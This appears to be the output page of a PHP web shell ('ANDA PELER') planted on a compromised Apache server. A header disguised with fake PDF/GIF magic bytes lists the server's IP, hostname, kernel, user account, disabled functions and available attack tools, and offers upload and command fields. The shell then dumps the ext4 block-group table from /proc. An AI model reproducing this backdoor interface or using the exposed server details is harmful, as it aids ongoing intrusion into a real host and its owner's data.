%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/fs/ext4/sda1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/fs/ext4/sda1/mb_groups
#group: free  frags first [ 2^0   2^1   2^2   2^3   2^4   2^5   2^6   2^7   2^8   2^9   2^10  2^11  2^12  2^13  ]
#0    : 1535  37    16320 [ 29    17    24    18    13    14    7     1     0     0     0     0     0     0     ]
#1    : 0     0     678   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#2    : 90    43    464   [ 28    13    9     0     0     0     0     0     0     0     0     0     0     0     ]
#3    : 78    27    5211  [ 16    11    8     1     0     0     0     0     0     0     0     0     0     0     ]
#4    : 153   77    6956  [ 53    24    13    0     0     0     0     0     0     0     0     0     0     0     ]
#5    : 52    13    16256 [ 6     5     7     1     0     0     0     0     0     0     0     0     0     0     ]
#6    : 129   94    1212  [ 87    13    2     1     0     0     0     0     0     0     0     0     0     0     ]
#7    : 2     1     3213  [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#8    : 32    14    1530  [ 10    9     1     0     0     0     0     0     0     0     0     0     0     0     ]
#9    : 12    5     1261  [ 4     2     1     0     0     0     0     0     0     0     0     0     0     0     ]
#10   : 13    3     2026  [ 3     3     1     0     0     0     0     0     0     0     0     0     0     0     ]
#11   : 138   24    4095  [ 18    18    13    2     1     0     0     0     0     0     0     0     0     0     ]
#12   : 3     1     23468 [ 1     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#13   : 233   156   5420  [ 147   25    9     0     0     0     0     0     0     0     0     0     0     0     ]
#14   : 0     0     10521 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#15   : 0     0     5575  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#16   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#17   : 0     0     4860  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#18   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#19   : 0     0     10541 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#20   : 0     0     32548 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#21   : 0     0     31996 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#22   : 0     0     2018  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#23   : 0     0     8173  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#24   : 2     1     4630  [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#25   : 6     5     1663  [ 4     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#26   : 14    7     15600 [ 4     3     1     0     0     0     0     0     0     0     0     0     0     0     ]
#27   : 7     4     6270  [ 1     3     0     0     0     0     0     0     0     0     0     0     0     0     ]
#28   : 7     2     25    [ 1     3     0     0     0     0     0     0     0     0     0     0     0     0     ]
#29   : 0     0     14328 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#30   : 0     0     25861 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#31   : 0     0     23555 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#32   : 0     0     29039 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#33   : 0     0     13673 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#34   : 0     0     2326  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#35   : 0     0     28630 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#36   : 0     0     1740  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#37   : 0     0     7579  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#38   : 0     0     8362  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#39   : 0     0     31225 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#40   : 0     0     22480 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#41   : 0     0     5532  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#42   : 0     0     3151  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#43   : 0     0     7951  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#44   : 0     0     439   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#45   : 0     0     32396 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#46   : 0     0     7165  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#47   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#48   : 0     0     10292 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#49   : 0     0     1008  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#50   : 0     0     4221  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#51   : 0     0     196   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#52   : 0     0     1649  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#53   : 0     0     426   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#54   : 0     0     8452  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#55   : 0     0     30614 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#56   : 0     0     375   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#57   : 0     0     19159 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#58   : 0     0     4700  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#59   : 0     0     21348 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#60   : 0     0     5977  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#61   : 52    41    14    [ 36    6     1     0     0     0     0     0     0     0     0     0     0     0     ]
#62   : 212   159   103   [ 152   20    5     0     0     0     0     0     0     0     0     0     0     0     ]
#63   : 352   78    187   [ 68    52    35    5     0     0     0     0     0     0     0     0     0     0     ]
#64   : 26    7     9441  [ 4     5     3     0     0     0     0     0     0     0     0     0     0     0     ]
#65   : 6     1     19404 [ 0     1     1     0     0     0     0     0     0     0     0     0     0     0     ]
#66   : 52    46    5487  [ 50    1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#67   : 0     0     4064  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#68   : 0     0     3724  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#69   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#70   : 0     0     2944  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#71   : 0     0     4     [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#72   : 0     0     12224 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#73   : 158   32    19360 [ 24    13    17    5     0     0     0     0     0     0     0     0     0     0     ]
#74   : 184   26    16409 [ 20    22    8     9     1     0     0     0     0     0     0     0     0     0     ]
#75   : 2     1     1638  [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#76   : 88    9     186   [ 6     7     5     0     3     0     0     0     0     0     0     0     0     0     ]
#77   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#78   : 0     0     24216 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#79   : 37    4     6151  [ 5     2     1     1     1     0     0     0     0     0     0     0     0     0     ]
#80   : 14    2     12423 [ 2     0     1     1     0     0     0     0     0     0     0     0     0     0     ]
#81   : 1     1     11085 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#82   : 0     0     6641  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#83   : 0     0     10666 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#84   : 6     3     23409 [ 2     0     1     0     0     0     0     0     0     0     0     0     0     0     ]
#85   : 0     0     37    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#86   : 12    5     9811  [ 4     2     1     0     0     0     0     0     0     0     0     0     0     0     ]
#87   : 42    7     6453  [ 8     5     4     1     0     0     0     0     0     0     0     0     0     0     ]
#88   : 0     0     12712 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#89   : 0     0     1687  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#90   : 0     0     8186  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#91   : 0     0     7992  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#92   : 0     0     200   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#93   : 8     1     14367 [ 2     1     1     0     0     0     0     0     0     0     0     0     0     0     ]
#94   : 0     0     16875 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#95   : 33    4     24885 [ 3     1     3     2     0     0     0     0     0     0     0     0     0     0     ]
#96   : 27    13    9586  [ 15    4     1     0     0     0     0     0     0     0     0     0     0     0     ]
#97   : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#98   : 0     0     8205  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#99   : 38    20    6296  [ 22    2     1     1     0     0     0     0     0     0     0     0     0     0     ]
#100  : 17    7     7008  [ 7     5     0     0     0     0     0     0     0     0     0     0     0     0     ]
#101  : 0     0     17720 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#102  : 0     0     23    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#103  : 0     0     962   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#104  : 0     0     73    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#105  : 0     0     6129  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#106  : 0     0     31671 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#107  : 5     1     10769 [ 1     2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#108  : 0     0     7200  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#109  : 0     0     7428  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#110  : 0     0     8914  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#111  : 0     0     380   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#112  : 83    9     9192  [ 3     6     5     4     1     0     0     0     0     0     0     0     0     0     ]
#113  : 0     0     22315 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#114  : 0     0     20816 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#115  : 2     2     24301 [ 2     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#116  : 0     0     32690 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#117  : 2     1     8092  [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#118  : 0     0     14636 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#119  : 32    16    12107 [ 14    3     3     0     0     0     0     0     0     0     0     0     0     0     ]
#120  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#121  : 6     5     27547 [ 6     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#122  : 103   36    15504 [ 25    21    9     0     0     0     0     0     0     0     0     0     0     0     ]
#123  : 10    8     123   [ 8     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#124  : 35    4     17230 [ 5     3     2     0     1     0     0     0     0     0     0     0     0     0     ]
#125  : 0     0     1558  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#126  : 0     0     13749 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#127  : 8     1     19464 [ 0     0     0     1     0     0     0     0     0     0     0     0     0     0     ]
#128  : 1     1     11350 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#129  : 0     0     30539 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#130  : 0     0     32221 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#131  : 8     5     9603  [ 4     2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#132  : 1     1     267   [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#133  : 0     0     29    [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#134  : 86    10    21255 [ 6     6     3     3     0     1     0     0     0     0     0     0     0     0     ]
#135  : 0     0     22862 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#136  : 2     1     31212 [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#137  : 69    11    15872 [ 7     3     0     5     1     0     0     0     0     0     0     0     0     0     ]
#138  : 304   98    11724 [ 98    27    22    8     0     0     0     0     0     0     0     0     0     0     ]
#139  : 290   96    3107  [ 92    29    19    8     0     0     0     0     0     0     0     0     0     0     ]
#140  : 38    24    7998  [ 28    3     1     0     0     0     0     0     0     0     0     0     0     0     ]
#141  : 268   61    3162  [ 62    11    8     7     6     0     0     0     0     0     0     0     0     0     ]
#142  : 83    35    5064  [ 39    4     3     1     1     0     0     0     0     0     0     0     0     0     ]
#143  : 26    23    324   [ 26    0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#144  : 11    4     22534 [ 3     0     0     1     0     0     0     0     0     0     0     0     0     0     ]
#145  : 1     1     10936 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#146  : 0     0     26290 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#147  : 1     1     13788 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#148  : 9     4     8900  [ 5     2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#149  : 23    18    3310  [ 17    1     1     0     0     0     0     0     0     0     0     0     0     0     ]
#150  : 24    24    5082  [ 24    0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#151  : 122   35    28    [ 32    7     3     6     1     0     0     0     0     0     0     0     0     0     ]
#152  : 220   23    728   [ 18    9     10    4     1     3     0     0     0     0     0     0     0     0     ]
#153  : 353   89    120   [ 81    32    20    14    1     0     0     0     0     0     0     0     0     0     ]
#154  : 327   45    0     [ 37    19    19    16    3     0     0     0     0     0     0     0     0     0     ]
#155  : 209   24    20    [ 17    8     4     4     2     3     0     0     0     0     0     0     0     0     ]
#156  : 286   24    570   [ 16    17    3     2     1     2     0     1     0     0     0     0     0     0     ]
#157  : 237   33    957   [ 29    22    15    5     4     0     0     0     0     0     0     0     0     0     ]
#158  : 483   155   12    [ 143   76    47    0     0     0     0     0     0     0     0     0     0     0     ]
#159  : 369   108   3     [ 109   28    21    11    2     0     0     0     0     0     0     0     0     0     ]
#160  : 43    31    8448  [ 31    6     0     0     0     0     0     0     0     0     0     0     0     0     ]
#161  : 172   51    9965  [ 44    4     6     6     3     0     0     0     0     0     0     0     0     0     ]
#162  : 145   83    436   [ 57    26    3     1     1     0     0     0     0     0     0     0     0     0     ]
#163  : 76    9     0     [ 6     5     1     1     1     1     0     0     0     0     0     0     0     0     ]
#164  : 42    42    9708  [ 42    0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#165  : 119   36    149   [ 33    11    0     2     1     1     0     0     0     0     0     0     0     0     ]
#166  : 51    45    117   [ 39    6     0     0     0     0     0     0     0     0     0     0     0     0     ]
#167  : 56    39    18314 [ 30    11    1     0     0     0     0     0     0     0     0     0     0     0     ]
#168  : 54    29    17    [ 20    13    2     0     0     0     0     0     0     0     0     0     0     0     ]
#169  : 105   24    11778 [ 15    17    0     1     1     1     0     0     0     0     0     0     0     0     ]
#170  : 267   82    11322 [ 79    18    16    3     2     1     0     0     0     0     0     0     0     0     ]
#171  : 234   53    1820  [ 50    32    16    7     0     0     0     0     0     0     0     0     0     0     ]
#172  : 502   132   62    [ 128   61    21    11    5     0     0     0     0     0     0     0     0     0     ]
#173  : 53    49    225   [ 51    1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#174  : 66    8     330   [ 6     4     3     1     0     1     0     0     0     0     0     0     0     0     ]
#175  : 537   234   139   [ 217   90    15    6     2     0     0     0     0     0     0     0     0     0     ]
#176  : 11    4     19405 [ 3     2     1     0     0     0     0     0     0     0     0     0     0     0     ]
#177  : 2     1     1142  [ 0     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#178  : 41    12    9519  [ 7     3     1     1     1     0     0     0     0     0     0     0     0     0     ]
#179  : 158   56    3424  [ 56    3     4     2     2     1     0     0     0     0     0     0     0     0     ]
#180  : 52    52    1975  [ 52    0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#181  : 71    54    9756  [ 53    1     0     0     1     0     0     0     0     0     0     0     0     0     ]
#182  : 44    24    347   [ 24    2     2     1     0     0     0     0     0     0     0     0     0     0     ]
#183  : 0     0     26378 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#184  : 49    25    1356  [ 1     24    0     0     0     0     0     0     0     0     0     0     0     0     ]
#185  : 256   28    23040 [ 4     26    2     0     2     1     2     0     0     0     0     0     0     0     ]
#186  : 557   119   2     [ 119   69    49    13    0     0     0     0     0     0     0     0     0     0     ]
#187  : 133   27    31    [ 23    13    5     2     3     0     0     0     0     0     0     0     0     0     ]
#188  : 649   245   6145  [ 229   148   21    5     0     0     0     0     0     0     0     0     0     0     ]
#189  : 106   25    320   [ 12    17    1     1     1     1     0     0     0     0     0     0     0     0     ]
#190  : 67    37    70    [ 31    10    2     1     0     0     0     0     0     0     0     0     0     0     ]
#191  : 314   44    88    [ 40    15    5     6     5     1     1     0     0     0     0     0     0     0     ]
#192  : 63    30    9665  [ 31    10    3     0     0     0     0     0     0     0     0     0     0     0     ]
#193  : 0     0     18590 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#194  : 0     0     11794 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#195  : 0     0     26928 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#196  : 0     0     2176  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#197  : 0     0     32080 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#198  : 0     0     32178 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#199  : 1     1     20212 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#200  : 0     0     22544 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#201  : 0     0     18522 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#202  : 633   107   15    [ 97    80    56    11    4     0     0     0     0     0     0     0     0     0     ]
#203  : 234   20    8938  [ 16    11    3     1     1     3     1     0     0     0     0     0     0     0     ]
#204  : 31    8     1091  [ 7     2     3     1     0     0     0     0     0     0     0     0     0     0     ]
#205  : 182   37    5     [ 38    6     1     0     0     0     0     1     0     0     0     0     0     0     ]
#206  : 662   150   2278  [ 142   86    45    13    4     0     0     0     0     0     0     0     0     0     ]
#207  : 51    13    16525 [ 13    9     5     0     0     0     0     0     0     0     0     0     0     0     ]
#208  : 37    8     10081 [ 9     6     4     0     0     0     0     0     0     0     0     0     0     0     ]
#209  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#210  : 0     0     5752  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#211  : 0     0     32756 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#212  : 0     0     16240 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#213  : 24    2     5344  [ 0     2     1     0     1     0     0     0     0     0     0     0     0     0     ]
#214  : 0     0     18706 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#215  : 0     0     12244 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#216  : 7     3     21720 [ 1     1     1     0     0     0     0     0     0     0     0     0     0     0     ]
#217  : 39    10    2534  [ 7     4     2     0     1     0     0     0     0     0     0     0     0     0     ]
#218  : 60    9     8566  [ 10    7     3     3     0     0     0     0     0     0     0     0     0     0     ]
#219  : 21    9     659   [ 7     1     1     1     0     0     0     0     0     0     0     0     0     0     ]
#220  : 354   31    30    [ 26    12    14    7     4     4     0     0     0     0     0     0     0     0     ]
#221  : 6     2     27726 [ 2     2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#222  : 159   38    352   [ 41    5     1     3     3     1     0     0     0     0     0     0     0     0     ]
#223  : 1444  117   3623  [ 108   78    57    33    15    10    0     1     0     0     0     0     0     0     ]
#224  : 25    7     9509  [ 3     5     1     1     0     0     0     0     0     0     0     0     0     0     ]
#225  : 0     0     8308  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#226  : 0     0     4901  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#227  : 14    3     21294 [ 0     3     2     0     0     0     0     0     0     0     0     0     0     0     ]
#228  : 259   14    18206 [ 15    10    12    12    5     0     0     0     0     0     0     0     0     0     ]
#229  : 0     0     5164  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#230  : 3     1     2317  [ 1     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#231  : 67    7     6289  [ 7     6     2     1     0     1     0     0     0     0     0     0     0     0     ]
#232  : 0     0     7744  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#233  : 32    3     1978  [ 2     1     1     1     1     0     0     0     0     0     0     0     0     0     ]
#234  : 46    13    6273  [ 12    3     1     1     1     0     0     0     0     0     0     0     0     0     ]
#235  : 0     0     22768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#236  : 1298  186   10368 [ 166   76    59    31    13    9     0     0     0     0     0     0     0     0     ]
#237  : 154   21    16391 [ 18    2     5     4     3     1     0     0     0     0     0     0     0     0     ]
#238  : 0     0     380   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#239  : 0     0     20992 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#240  : 39    20    10046 [ 9     15    0     0     0     0     0     0     0     0     0     0     0     0     ]
#241  : 31    19    3588  [ 23    4     0     0     0     0     0     0     0     0     0     0     0     0     ]
#242  : 124   14    8320  [ 10    5     4     3     2     1     0     0     0     0     0     0     0     0     ]
#243  : 3042  175   6193  [ 154   94    85    59    54    20    4     1     0     0     0     0     0     0     ]
#244  : 207   26    1387  [ 27    16    9     4     3     1     0     0     0     0     0     0     0     0     ]
#245  : 0     0     32768 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#246  : 10332 225   4050  [ 206   161   157   117   85    63    28    12    6     0     0     0     0     0     ]
#247  : 5931  199   64    [ 143   136   119   96    75    44    16    5     0     0     0     0     0     0     ]
#248  : 23    5     29    [ 5     3     1     1     0     0     0     0     0     0     0     0     0     0     ]
#249  : 19    2     526   [ 1     1     0     0     1     0     0     0     0     0     0     0     0     0     ]
#250  : 4     4     22769 [ 4     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#251  : 30    27    24999 [ 26    2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#252  : 42    10    1996  [ 6     8     5     0     0     0     0     0     0     0     0     0     0     0     ]
#253  : 13    3     831   [ 3     1     0     1     0     0     0     0     0     0     0     0     0     0     ]
#254  : 68    23    574   [ 18    11    5     1     0     0     0     0     0     0     0     0     0     0     ]
#255  : 49    17    29    [ 17    6     3     1     0     0     0     0     0     0     0     0     0     0     ]
#256  : 53    13    9006  [ 3     11    5     1     0     0     0     0     0     0     0     0     0     0     ]
#257  : 21    19    18048 [ 17    2     0     0     0     0     0     0     0     0     0     0     0     0     ]
#258  : 149   26    2913  [ 27    7     5     5     1     1     0     0     0     0     0     0     0     0     ]
#259  : 49    36    6467  [ 35    3     2     0     0     0     0     0     0     0     0     0     0     0     ]
#260  : 33    11    14478 [ 11    3     0     2     0     0     0     0     0     0     0     0     0     0     ]
#261  : 14    3     1255  [ 2     2     0     1     0     0     0     0     0     0     0     0     0     0     ]
#262  : 0     0     13936 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#263  : 0     0     1750  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#264  : 0     0     21754 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#265  : 0     0     19600 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#266  : 17    5     12637 [ 7     3     1     0     0     0     0     0     0     0     0     0     0     0     ]
#267  : 5     1     20388 [ 1     0     1     0     0     0     0     0     0     0     0     0     0     0     ]
#268  : 13    1     685   [ 1     2     0     1     0     0     0     0     0     0     0     0     0     0     ]
#269  : 38    6     4007  [ 4     3     1     1     1     0     0     0     0     0     0     0     0     0     ]
#270  : 0     0     784   [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#271  : 42    19    8810  [ 18    2     1     0     1     0     0     0     0     0     0     0     0     0     ]
#272  : 7     3     10066 [ 5     1     0     0     0     0     0     0     0     0     0     0     0     0     ]
#273  : 351   179   710   [ 151   90    5     0     0     0     0     0     0     0     0     0     0     0     ]
#274  : 22    3     32570 [ 2     4     1     1     0     0     0     0     0     0     0     0     0     0     ]
#275  : 44    11    4574  [ 10    3     3     2     0     0     0     0     0     0     0     0     0     0     ]
#276  : 115   8     12456 [ 3     6     5     4     3     0     0     0     0     0     0     0     0     0     ]
#277  : 10    1     6365  [ 2     0     0     1     0     0     0     0     0     0     0     0     0     0     ]
#278  : 29    6     464   [ 1     4     5     0     0     0     0     0     0     0     0     0     0     0     ]
#279  : 1173  57    14064 [ 45    28    46    27    28    7     0     0     0     0     0     0     0     0     ]
#280  : 1403  130   119   [ 117   69    63    52    24    3     0     0     0     0     0     0     0     0     ]
#281  : 999   76    108   [ 73    55    50    33    18    2     0     0     0     0     0     0     0     0     ]
#282  : 0     0     1964  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#283  : 22    5     1088  [ 6     2     1     1     0     0     0     0     0     0     0     0     0     0     ]
#284  : 0     0     12432 [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#285  : 0     0     1634  [ 0     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#286  : 1     1     24325 [ 1     0     0     0     0     0     0     0     0     0     0     0     0     0     ]
#287  : 41    7     600   [ 9     2     1     1     1     0     0     0     0     0     0     0     0     0     ]
#288  : 138   7     10172 [ 8     3     1     3     2     0     1     0     0     0     0     0     0     0     ]
#289  : 119   29    8752  [ 21    13    8     1     0     1     0     0     0     0     0     0     0     0     ]
